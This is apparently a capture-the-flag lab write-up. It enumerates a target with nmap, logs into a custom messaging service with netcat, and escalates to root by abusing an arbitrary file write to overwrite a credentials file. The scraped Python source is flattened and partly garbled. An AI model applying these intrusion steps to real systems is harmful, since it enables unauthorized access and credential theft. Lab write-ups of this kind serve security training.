$ nmap -p- --min-rate 3000 -Pn 192.168.157.170
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-14 11:50 +08
Nmap scan report for 192.168.157.170
Host is up (0.17s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5132/tcp open unknown
8433/tcp open unknown
Did a detailed scan on the non SSH ports.
$ sudo nmap -p 80,5132,8433 -sC -sV --min-rate 3000 192.168.157.170
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-14 11:51 +08
Nmap scan report for 192.168.157.170
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Under Maintainence
5132/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
| Enter Username:
| GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| Enter Username: Enter OTP: Incorrect username or password
| Help:
| Enter Username: Enter OTP:
| RPCCheck:
| Enter Username: Traceback (most recent call last):
| File "/opt/depreciated/messaging/messages.py", line 100, in <module>
| main()
| File "/opt/depreciated/messaging/messages.py", line 82, in main
| username = input("Enter Username: ")
| File "/usr/lib/python3.8/codecs.py", line 322, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
| SSLSessionReq:
| Enter Username: Traceback (most recent call last):
| File "/opt/depreciated/messaging/messages.py", line 100, in <module>
| main()
| File "/opt/depreciated/messaging/messages.py", line 82, in main
| username = input("Enter Username: ")
| File "/usr/lib/python3.8/codecs.py", line 322, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
| TerminalServerCookie:
| Enter Username: Traceback (most recent call last):
| File "/opt/depreciated/messaging/messages.py", line 100, in <module>
| main()
| File "/opt/depreciated/messaging/messages.py", line 82, in main
| username = input("Enter Username: ")
| File "/usr/lib/python3.8/codecs.py", line 322, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
|_ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
8433/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Port 5132 seems to have loads of errors, asking for a username and password.
Web Enum -> GraphQL Creds
Port 80 just shows this page:
When we read the page source, we find this:
There's a GraphQL instance on port 8433 that we can investigate. It also seems to be a login of some sort. We can first query all the different types being used:
The second one takes a user as input. We can get a password for peter using this method:
Using this, we can interact with the service on port 5132. The creds also don't work with SSH.
SSH Creds
We can connect to port 5132 via nc:
$ nc -vn 192.168.157.170 5132
(UNKNOWN) [192.168.157.170] 5132 (?) open
Enter Username: peter
Enter OTP: CG5pzyISVOMvErUz
$ help
list list messages
create create new message
exit exit the messaging system
read read the message with given id
update update the message with given id
help Show this help
We can find quite a few messages:
$ list
#2345 Improve the ticketing CLI syst
#1893 Staging keeps on crashing beca
#2347 [critical] The ticketing websi
#1277 Update the MySQL version, it's
#234 Hey, Please change your passwo
#0 Hey, Seriously this is getting
If we read 234, we find a password:
$ read 234
Message No: #234
Hey, Please change your password ASAP. You know the password policy, using weak password isn't allowed. And peter@safe is very weak, use https://password.kaspersky.com/ to check the strength of the password.
Attachment: none
We aren't allowed to read any message. Anyways, using this password we can ssh in:
Privilege Escalation
I was still curious about the messaging thing and wanted to read the other messages, so I headed to /opt/depreciated/messaging, which was the directory revealed in our detailed nmap scan.
Messages -> Root Creds
There are some files present here:
peter@depreciated:/opt/depreciated/messaging$ ls -la
total 20
drwxr-xr-x 2 root root 4096 May 28 2021 .
drwxr-xr-x 4 root root 4096 Nov 24 2021 ..
-rw-r--r-- 1 root root 3357 May 28 2021 messages.py
-rw------- 1 root root 1465 May 17 2021 msg.json
-rw------- 1 root root 1206 May 17 2021 msg.json.bak
Here's the Python script contents:
import jsonimport osimport random#TODO: Need to fix all the weird logics and bugstry:withopen("/opt/depreciated/messaging/msg.json", "r")as f: MESSAGES = json.load(f)except json.decoder.JSONDecodeError:withopen("/opt/depreciated/messaging/msg.json.bak", "r")as f: MESSAGES = json.load(f)defcreate_message(user): for_ =input("for: ") description =input("Description: ") num = random.randint(1000, 9999) author = user attachment =input("File: ")if attachment and attachment !="none"and os.path.exists(attachment):withopen(attachment, 'r')as f: data = f.read() basename ='/opt/depreciated/'+ os.path.basename(attachment)withopen(basename, 'w')as f: f.write(data)else: attachment ="none" msg_info ={'id': num,'author': author,'description': description,'for': for_,'attachment': attachment} MESSAGES.append(msg_info)withopen("/opt/depreciated/messaging/msg.json", 'w')as f: json.dump(MESSAGES, f)defterminal(user):"""This will provide the attacker a shell via which they can run/execute custom commands """whileTrue: cmd =input("$ ")if cmd.lower()=="help"or cmd.lower()=="?":print(""" list list messages create create new message exit exit the messaging system read read the message with given id update update the message with given id help Show this help """)elif cmd.lower()=="exit":exit(1)elif cmd.lower()=="list":for message in MESSAGES:print(f'#{message["id"]}\t\t{message["description"][:30]}')elif cmd.lower()=="create":create_message(user)elif"read"in cmd.lower():try: _, message_id = cmd.lower().split()exceptValueError:print("Please provide a valid message id")continuetry:for message in MESSAGES: if message["id"] == int(message_id) and (user == message["author"] or user in message["for"] or user == "admin"):
if"attachment"in message: attach = message['attachment']else: attach ="none"print(f'Message No: #{message["id"]}\n\n{message["description"]}\n\nAttachment: {attach}')breakelse:print("Not authorized to read")exceptValueError:print('Problem reading the message, make sure you enter the correct message id')elif"update"in cmd.lower():print("This is a WIP feature")defmain(): username =input("Enter Username: ") OTP =input("Enter OTP: ")withopen("/opt/depreciated/code.txt", "r")as f: data = f.readline()try: name,password = data.split(":")exceptValueError:print("Incorrect username or password")exit(1)if (username.strip()== name.strip()) and (OTP.strip()== password.strip()):terminal(name)else:print("Incorrect username or password")exit(1)if__name__=='__main__':main()
It seems that code.txt is read and this is the username and password checked, and within the terminal function, there's also a check for whether the username is called admin. Lastly, the username and password are stored within /opt/depreciated/code.txt.
The create_message function gives us an arbitrary write using the attachment function. We can overwrite the original code.txt with a new one as the admin user:
echo'admin:password'>/tmp/code.txt## on port 5132$createfor: adminDescription:lolFile:/tmp/code.txtpeter@depreciated:/opt/depreciated$catcode.txtadmin:password
This would allow us to read message 0:
$ read 0
Message No: #0
Hey, Seriously this is getting out of hand. Your new password is 9>XsS+&=Zn#AS9-@ Please don't forget your password this time. And make sure to change this once you are in.
Attachment: none